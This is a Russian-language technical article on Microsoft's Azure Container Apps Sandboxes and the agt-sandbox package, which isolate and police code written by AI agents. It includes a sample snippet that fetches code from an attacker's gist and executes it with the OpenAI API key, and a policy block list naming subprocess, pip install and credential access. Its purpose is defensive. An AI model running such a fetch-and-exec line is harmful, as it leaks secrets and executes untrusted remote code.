- Дата публикации
Как Microsoft пытается обезопасить AI-агентов: песочницы Azure и Agent Governance Toolkit
Что нового
Microsoft представила связку из двух компонентов для безопасного запуска кода, который генерируют AI‑агенты:
-
Azure Container Apps Sandboxes
- Новый тип ресурса Azure:
Microsoft.App/SandboxGroups(публичный превью с 2 июня 2026 года). - Каждый запуск кода — это отдельная аппаратно изолированная microVM.
- Загрузка из OCI‑образа диска за доли секунды.
- Поддержка полноценных снапшотов памяти и диска для сценариев scale‑to‑zero на stateful‑нагрузках.
- Egress‑proxy с политикой fail‑closed: если хост не разрешён — запрос блокируется.
- Новый тип ресурса Azure:
-
Python‑пакет
agt-sandbox(Agent Governance Toolkit Sandbox Layer)- Единый API для запуска сгенерированного агентом кода вне основного процесса приложения.
- Три провайдера из коробки (подключаются как extras в
pip):DockerSandboxProvider— запуск в OCI‑контейнерах, с возможным автопереходом на gVisor или Kata, если они есть в системе (pip install "agt-sandbox[docker]").HyperLightSandboxProvider— microVM Hyperlight поверх KVM / mshv / WHP (pip install "agt-sandbox[hyperlight]").ACASandboxProvider— управляемые песочницы Azure Container Apps (pip install "agt-sandbox[azure]").
- Общие типы данных (
SandboxConfig,SandboxResult,SessionHandle,ExecutionHandle,SessionStatus,ExecutionStatus) для всех провайдеров. - Интеграция с политиками Agent Governance Toolkit через
PolicyDocumentи хелперыdocker_config_from_policy,aca_config_from_policyи т.п.
-
Глубокая интеграция с Agent Governance Toolkit (AGT)
- Одна YAML‑политика (
PolicyDocument) управляет и тем, где запускается код, и тем, что он может делать. - Два уровня применения политики:
- На хосте — deny‑правила, allowlist инструментов, AST‑проверка на
subprocessи shell‑вызовы. - В песочнице Azure — egress‑allowlist на уровне сети и лимиты CPU/памяти.
- На хосте — deny‑правила, allowlist инструментов, AST‑проверка на
- Одна YAML‑политика (
-
Показательный пример — LLM‑планировщик для научных исследований
- Агент получает тикет вида
{"topic": "differential privacy", "depth": "survey"}. - GPT‑класс модель планирует шаги и генерирует для каждого шагa Python‑фрагмент.
- Каждый фрагмент выполняется по цепочке из шести проверок политики и ограничений песочницы.
- Политика запрещает
subprocess,pip install, доступ кOPENAI_API_KEYи хостам вне allowlist.
- Агент получает тикет вида
Цифры по производительности и стоимости Microsoft не приводит, но делает акцент на sub‑second запуске microVM и возможности масштабировать stateful‑агентов до нуля благодаря снапшотам.
Как это работает
Проблема: LLM с доступом к Python REPL
Когда вы даёте агенту право генерировать и исполнять код, он по сути получает Python REPL на вашей машине или в вашем backend‑процессе.
Даже небольшой, на первый взгляд безобидный сниппет может превратиться в утечку секретов:
# "summarize the changelog"
import urllib.request, os
data = urllib.request.urlopen(
"https://gist.githubusercontent.com/attacker/.../raw"
).read()
exec(data, {"OPENAI_API_KEY": os.environ["OPENAI_API_KEY"]})
Две строки стандартной библиотеки — и агент скачивает произвольный код из интернета и передаёт ему ваш API‑ключ. Сегодня это выглядит как гипотеза, а завтра — как постмортем в проде.
Microsoft предлагает разбить защиту на два конкретных вопроса:
-
Где запускается код?
Ответ: не в вашем процессе, а в изолированной песочнице. -
Что этот код может делать?
Ответ: это жёстко задаётся политикой — какие инструменты доступны, какие хосты, какие лимиты, что категорически запрещено.
Azure Container Apps Sandboxes
Azure Container Apps Sandboxes — это управляемые песочницы для «недоверенного» кода агентов:
- Каждая песочница — отдельная microVM с аппаратной изоляцией.
- Загрузка из OCI‑образа диска за доли секунды, что позволяет создавать песочницу на каждую сессию агента.
- Поддержка suspend/resume с полным снапшотом памяти и диска. Это даёт возможность держать stateful‑агентов и при этом не платить за простаивающие ресурсы (scale‑to‑zero).
- Перед сетью песочницы стоит egress‑proxy: всё, что не разрешено политикой, блокируется, по умолчанию — deny.
- Тот же примитив уже используется в GitHub Copilot Cloud Sandboxes, Foundry Hosted Agents и ACA Express.
Если вы работали с ACA Dynamic Sessions, то Sandboxes — это их развитие и новая точка входа для сценариев с агентами.
agt-sandbox: тонкий слой изоляции
Пакет agt-sandbox (agent_sandbox в Python) — это абстракция над разными типами песочниц. Он решает одну задачу: взять сгенерированный агентом фрагмент кода и выполнить его где‑то ещё, не в вашем приложении, под политикой и с нормальным структурированным результатом.
Внутри пакета:
SandboxProvider— абстрактный класс, который реализуют все backend‑провайдеры.- Три встроенных провайдера:
DockerSandboxProvider— контейнеры, с возможным автопереходом на gVisor/Kata.HyperLightSandboxProvider— microVM Hyperlight.ACASandboxProvider— песочницы Azure Container Apps.
- Общие dataclass‑типы:
SandboxConfig,SandboxResult,SessionHandle,ExecutionHandle, плюсSessionStatusиExecutionStatus. - Хелперы для проекции политики в конфигурацию песочниц:
docker_config_from_policy,aca_config_from_policyи т.д.
Контракт SandboxProvider
Интерфейс SandboxProvider минимален и понятен:
class SandboxProvider(ABC):
@abstractmethod
def create_session(self, agent_id, policy=None, config=None) -> SessionHandle:
...
@abstractmethod
def execute_code(self, agent_id, session_id, code, *, context=None) -> ExecutionHandle:
...
@abstractmethod
def destroy_session(self, agent_id, session_id) -> None:
...
@abstractmethod
def is_available(self) -> bool:
...
У каждого метода есть *_async‑вариант, который по умолчанию просто оборачивает синхронную реализацию через asyncio.to_thread. Это позволяет писать асинхронных агентов без необходимости реализовывать собственную работу с event‑loop для каждого backend.
Ключевые свойства контракта:
-
Пересессионная изоляция
Пара(agent_id, session_id)соответствует ровно одной песочнице. Разные сессии не делят состояние. Внутри одной сессии состояние сохраняется между вызовамиexecute_code. -
Политика как первый аргумент
create_sessionпринимаетPolicyDocument. Провайдер сам проецирует её на свои примитивы: лимиты CPU/памяти, сетевые правила, переменные окружения. -
Host‑side PolicyEvaluator
Каждый вызовexecute_codeсначала прогоняется черезPolicyEvaluator. Если политика запрещает вызов — код вообще не дойдёт до песочницы. -
Единый
SandboxResult
Все провайдеры возвращают результат одного формата:success,exit_code,stdout,stderr,killed,kill_reason,duration_seconds.
Жёсткая изоляция между песочницами (чтобы один скомпрометированный агент не читал память или диск другого) — это гарантия Azure на уровне платформы внутри SandboxGroup. agt-sandbox управляет только жизненным циклом.
ACASandboxProvider: мост в Azure
ACASandboxProvider — свежий провайдер, который использует ранний Python‑SDK azure-containerapps-sandbox. Он даёт агенту возможность запускать шаги в управляемых контейнерах Azure без самостоятельной настройки инфраструктуры.
Три метода напрямую мапятся на SDK:
-
create_session(agent_id, policy=None, config=None)
Создаёт новую песочницу Azure Container Apps, применяет лимиты ресурсов и egress‑allowlist из политики. ВозвращаетSessionHandle. -
execute_code(agent_id, session_id, code, *, context=None)
Сначала запускает host‑side проверки политики, затем выполняет код внутри песочницы. Если политика запрещает вызов — поднимаетPermissionError. ВозвращаетExecutionHandleсSandboxResult. -
destroy_session(agent_id, session_id)
Удаляет песочницу в Azure и чистит кеш провайдера.
Пример жизненного цикла:
import os
from agent_sandbox import ACASandboxProvider
from agent_os.policies import PolicyDocument
policy = PolicyDocument.from_yaml("policies/aca_research_agent.yaml")
provider = ACASandboxProvider(
resource_group=os.environ["AZURE_RG"],
sandbox_group="agents",
region=os.environ["AZURE_REGION"],
disk="python-3.13", # уровень конструктора, а не сессии
ensure_group_location=os.environ["AZURE_REGION"],
)
# create_session принимает (agent_id, policy=..., config=...). Политика несёт
# allowlist сети и дефолтные лимиты CPU/памяти/таймаута.
handle = provider.create_session("research-agent-1", policy=policy)
# execute_code принимает (agent_id, session_id, code, *, context=...).
# Таймаут берётся из конфигурации сессии, которая была спроецирована из
# policy.defaults.timeout_seconds при create_session.
exec_handle = provider.execute_code(
"research-agent-1",
handle.session_id,
"import urllib.request as u; print(u.urlopen('https://arxiv.org').status)",
context={"intent": "smoke-test arxiv reachability"},
)
print(exec_handle.result.stdout)
provider.destroy_session("research-agent-1", handle.session_id)
С точки зрения разработчика, вы пишете агента против абстракции SandboxProvider, а затем выбираете backend заменой одного конструктора: Docker/Hyperlight локально и ACA — в облаке.
Что это значит для вас
Для кого это вообще
-
Разработчики агентных систем на Azure
Если вы строите цепочки инструментов вокруг GPT‑класса моделей и даёте им право исполнять код, связка AGT + ACA Sandboxes закрывает базовые вопросы безопасности: где код живёт и что он может делать. -
Команды, которые запускают LLM‑агентов в проде
Здесь важен audit‑трейл, минимизация blast radius, чёткая сегментация по сессиям и политикам. Песочницы плюс PolicyDocument дают вам один источник правды и многоуровневое применение ограничений. -
Разработчики внутренних платформ и туллинга
Если вы строите свои «Copilot‑подобные» решения поверх Azure, можете использовать тот же примитив, что и GitHub Copilot Cloud Sandboxes и Foundry Hosted Agents, вместо ручной сборки Kubernetes + gVisor.
Где это помогает
-
Запуск кода от LLM без страха за прод‑процесс
Код агента не попадает в ваш основной backend. Он живёт в отдельной microVM с лимитами CPU/памяти, без возможности вылезти в сеть мимо egress‑proxy. -
Тонкая политика доступа к сети и инструментам
В YAML‑политике вы задаёте:- список разрешённых хостов (
network_allowlist), - дефолтное сетевое поведение (
network_default: deny), - allowlist инструментов (
tool_allowlist), - deny‑правила по содержимому кода (
contains: "subprocess","pip install","OPENAI_API_KEY").
Это позволяет, например, дать агенту доступ только к
api.arxiv.org,*.github.comи своему внутреннему поиску, полностью отрезав остальной интернет. - список разрешённых хостов (
-
Контроль времени выполнения и ресурсов
Вdefaultsполитики вы задаётеmax_cpu,max_memory_mb,timeout_seconds.
Провайдер проецирует это в лимиты песочницы, а после выполнения шага помечает результат какkilled=Trueи добавляетkill_reason, если таймаут превышен. -
Согласованность между средами
Один и тот же агентский код работает с Docker локально и с ACA в облаке. Политика остаётся той же, а конфигурация песочниц подстраивается через хелперы (docker_config_from_policy,aca_config_from_policy). -
Безопасная разработка и отладка агентов
Можно запускать экспериментальные планировщики и инструменты без риска «подстрелить» основное приложение. Если LLM сгенерирует опасный фрагмент, он упрётся в deny‑правило или egress‑proxy.
Где это не спасёт
-
Логика агента остаётся на вашей совести
Песочницы не делают планировщик умнее. Если вы разрешите в политике слишком много, агент сможет делать больше, чем вы хотели. -
Нет магического контроля над сторонними API
Если вы разрешили хост, а API на нём ведёт себя странно или небезопасно, песочница это не исправит. -
Юридические и географические ограничения
Azure Container Apps Sandboxes — это сервис Azure. Для работы нужен доступ к Azure, учётная запись и ресурсы в поддерживаемом регионе.
Доступность в России
Azure официально ограничил работу с российскими юрлицами. Для использования Azure Container Apps Sandboxes и AGT в проде российскому бизнесу, скорее всего, придётся:
- либо работать через зарубежные юрлица,
- либо использовать VPN и аккаунты, не связанные с российскими организациями.
Для частных разработчиков с уже существующими подписками Azure это технически возможно, но юридические и комплаенс‑риски нужно оценивать отдельно.
Место на рынке
Microsoft позиционирует Azure Container Apps Sandboxes как базовый строительный блок для безопасных агентных сценариев в своём облаке. Этот же примитив уже используется в GitHub Copilot Cloud Sandboxes, Foundry Hosted Agents и ACA Express, то есть внутри экосистемы Microsoft он становится стандартом.
Сравнения с конкурентами по скорости, цене или надёжности компания не приводит. Можно зафиксировать только архитектурные моменты:
- В отличие от простого запуска в Docker‑контейнере на своих нодах, вы получаете аппаратную изоляцию microVM и управляемый сервис без необходимости оперировать Kubernetes‑кластером.
- В отличие от самописных решений на базе Firecracker/gVisor, здесь уже есть интеграция с VNet, Managed Identity, Log Analytics и единая модель политик через AGT.
Если вам достаточно локальных контейнеров, можно использовать DockerSandboxProvider. Если вы строите облачную платформу поверх Azure, ACASandboxProvider даёт более плотную интеграцию с инфраструктурой Microsoft, но без конкретных цифр по стоимости и производительности сравнивать его с другими облачными песочницами некорректно.
Установка
Ниже — команды установки из примера Microsoft, без сокращений.
Установка Python‑пакетов
# agt-sandbox с Azure-провайдером и политиками
pip install "agt-sandbox[azure,policy]"
# Ранний SDK Azure Container Apps Sandboxes
pip install azure-containerapps-sandbox
# Опционально: только для LLM-планировщика в примере
pip install openai
Разовая настройка Azure
Ресурсная группа должна существовать заранее. Провайдер сам создаст SandboxGroup при первом запуске, но не создаст Resource Group.
az login
az group create --name agents-rg --location westus2
$env:AZURE_SUBSCRIPTION_ID = (az account show --query id -o tsv)
$env:AZURE_RG = "agents-rg"
$env:AZURE_REGION = "westus2"
Быстрая проверка, что всё импортируется:
from agent_sandbox import ACASandboxProvider
from agent_os.policies import PolicyDocument
print("ok")
Как запустить: пример политики и агента
Политика aca_research_agent.yaml
Политика полностью описана в YAML, без Python‑обёрток. Она задаёт лимиты CPU/памяти, таймаут, сетевые правила, allowlist инструментов и deny‑правила по содержимому кода.
name: research-agent
version: "2"
defaults:
action: allow
max_cpu: 1.0 # → sandbox CPU cap = 1000 millicores
max_memory_mb: 2048 # → sandbox memory cap = 2048 MiB
timeout_seconds: 90 # per-execute_code wall-clock kill
network_default: deny # fail-closed (also the schema default)
network_allowlist:
- api.openai.com
- api.arxiv.org
- export.arxiv.org
- "*.github.com"
- pypi.org
- files.pythonhosted.org
tool_allowlist:
- fetch_arxiv
- fetch_github_readme
- search_index
rules:
- name: deny-shell-out-subprocess
condition: { field: code, operator: contains, value: "subprocess" }
action: deny
priority: 100
message: "shell-out blocked by research-agent policy"
- name: deny-pip-install
condition: { field: code, operator: contains, value: "pip install" }
action: deny
priority: 100
message: "ad-hoc dependency installs are not permitted"
- name: deny-secret-openai
condition: { field: code, operator: contains, value: "OPENAI_API_KEY" }
action: deny
priority: 100
message: "agents may not read host credentials"
# Tool-allowlist gate. Fires only when the eval context carries a
# `tool_name` — untagged execute_code calls are unaffected.
- name: deny-tool-not-in-allowlist
condition:
field: tool_name
operator: not_in
value: [fetch_arxiv, fetch_github_readme, search_index]
action: deny
priority: 200
message: "tool not in research-agent tool_allowlist"
Две ключевые особенности:
- Сеть fail‑closed: любой хост вне
network_allowlistблокируется egress‑proxy Azure. Пустой allowlist даёт песочницу без исходящих соединений. tool_allowlistсрабатывает только если вы явно передалиtool_nameвcontext. Чистыйexecute_code_async(...)безtool_nameэтим правилом не трогается.
Проверка политики перед использованием:
python -m agent_os.policies.cli validate aca_research_agent.yaml
# OK
Агент: LLM‑планировщик + выполнение шагов в песочнице
Ниже — полный пример из Microsoft. Агент получает тикет, просит GPT‑класс модель распланировать шаги и по одному выполняет их в песочнице ACA, прогоняя каждый через политику.
import asyncio, json, os, time, uuid
from dataclasses import dataclass
from agent_os.policies import PolicyDocument
from agent_sandbox import ACASandboxProvider
from openai import AsyncOpenAI
@dataclass
class Step:
index: int; intent: str; code: str
@dataclass
class StepReceipt:
step_index: int; intent: str
decision: str # allowed | denied-by-policy | blocked-at-egress | timeout | error
reason: str | None
azure_sandbox_id: str
duration_seconds: float
stdout_excerpt: str
PLANNER_SYSTEM = """You are a research planner. Output JSON of the form
{"steps":[{"intent": str, "code": str}, ...]} where each `code` is
self-contained Python using only the standard library (use urllib.request
for HTTP, not requests). Snippets may reach: api.arxiv.org, export.arxiv.org,
*.github.com, pypi.org. No installs, no shell, no secrets."""
async def plan(client: AsyncOpenAI, ticket: dict) -> list[Step]:
resp = await client.chat.completions.create(
model="gpt-4o-mini",
response_format={"type": "json_object"},
messages=[
{"role": "system", "content": PLANNER_SYSTEM},
{"role": "user", "content": json.dumps(ticket)},
],
)
plan = json.loads(resp.choices[0].message.content)
return [Step(i, s["intent"], s["code"]) for i, s in enumerate(plan["steps"])]
async def run_step(provider, agent_id, session_id, step: Step) -> StepReceipt:
started = time.monotonic()
try:
exec_handle = await provider.execute_code_async(
agent_id,
session_id,
step.code,
context={"step_index": step.index, "intent": step.intent},
)
except PermissionError as exc:
return StepReceipt(
step.index,
step.intent,
"denied-by-policy",
str(exc),
session_id,
time.monotonic() - started,
"",
)
res = exec_handle.result
combined = (res.stdout or "") + (res.stderr or "")
egress_block = "egress-blocked" in combined or "HTTP Error 403" in combined
if getattr(res, "killed", False):
decision, reason = "timeout", getattr(res, "kill_reason", "timeout")
elif egress_block:
decision, reason = "blocked-at-egress", "Azure egress proxy denied a host"
elif res.success:
decision, reason = "allowed", None
else:
decision, reason = "error", (res.stderr or "").strip()[:200]
return StepReceipt(
step.index,
step.intent,
decision,
reason,
session_id,
time.monotonic() - started,
(res.stdout or "").strip()[:200],
)
async def main(ticket_path: str) -> None:
ticket = json.loads(open(ticket_path, encoding="utf-8").read())
policy = PolicyDocument.from_yaml("aca_research_agent.yaml")
missing = [k for k in ("AZURE_SUBSCRIPTION_ID", "AZURE_RG") if not os.environ.get(k)]
if missing:
raise SystemExit(f"missing env vars: {', '.join(missing)}")
provider = ACASandboxProvider(
subscription_id=os.environ["AZURE_SUBSCRIPTION_ID"],
resource_group=os.environ["AZURE_RG"],
sandbox_group="agents",
region=os.environ.get("AZURE_REGION", "westus2"),
disk="python-3.13",
ensure_group_location=os.environ.get("AZURE_REGION", "westus2"),
)
if not provider.is_available():
raise SystemExit(provider.unavailable_reason)
agent_id = f"research-{uuid.uuid4().hex[:6]}"
handle = await provider.create_session_async(agent_id, policy=policy)
try:
steps = await plan(AsyncOpenAI(), ticket)
receipts = [
await run_step(provider, agent_id, handle.session_id, s)
for s in steps
]
print(json.dumps([r.__dict__ for r in receipts], indent=2, default=str))
finally:
await provider.destroy_session_async(agent_id, handle.session_id)
if __name__ == "__main__":
import sys
asyncio.run(main(sys.argv[1]))
Запускаете его с тикетом, например:
{"topic": "differential privacy", "depth": "survey"}
На выходе получите JSON‑массив «квитанций» по каждому шагу: разрешён, заблокирован политикой, заблокирован egress‑proxy, таймаут или ошибка, плюс выдержка из stdout и время выполнения.
Как именно работает многоуровневая политика
Интересная часть в том, как один PolicyDocument применяется в разных местах пути выполнения кода.
-
До любого похода в Azure (host‑side)
PolicyEvaluatorпроверяет:deny‑правила по полямcode,tool_name,tool_allowlist,- контекст вызова (
context).
- При нарушении поднимается
PermissionError. Песочница даже не вызывается. enforce_no_subprocess_executionпарсит AST и запрещает:subprocess.*,os.system,os.execve,os.spawn*,- wildcard‑импорты этих модулей.
-
Создание песочницы (Azure‑side, один раз на сессию)
-
aca_config_from_policyпроецирует:defaults.max_cpuиdefaults.max_memory_mbв лимиты CPU/памяти песочницы.
-
network_allowlistиdefaults.network_defaultпревращаются в:EgressPolicy( default_action="Deny", host_rules=[EgressHostRule(pattern, action="Allow"), …] ) -
Политика по сети по умолчанию fail‑closed: без allowlist — нет исходящей сети.
-
-
Каждое выполнение кода
- Внутри песочницы egress‑proxy применяет сетевые правила к каждому исходящему соединению.
- Блокированный хост даёт HTTP 403 внутри гостевой ОС. Код агента может это отловить, а провайдер помечает результат как
blocked-at-egress. - После возврата из
SandboxClient.execпровайдер сравниваетduration_secondsсdefaults.timeout_seconds. Если лимит превышен — помечаетresult.killed=Trueи выставляетkill_reason.
Итог: один YAML‑документ даёт шесть точек контроля в трёх местах — до Azure, внутри песочницы и после выполнения. Модель никогда не считается доверенной: ограничения всегда применяет компонент, который ближе всего к защищаемому ресурсу — CPU, сеть или ваш основной процесс.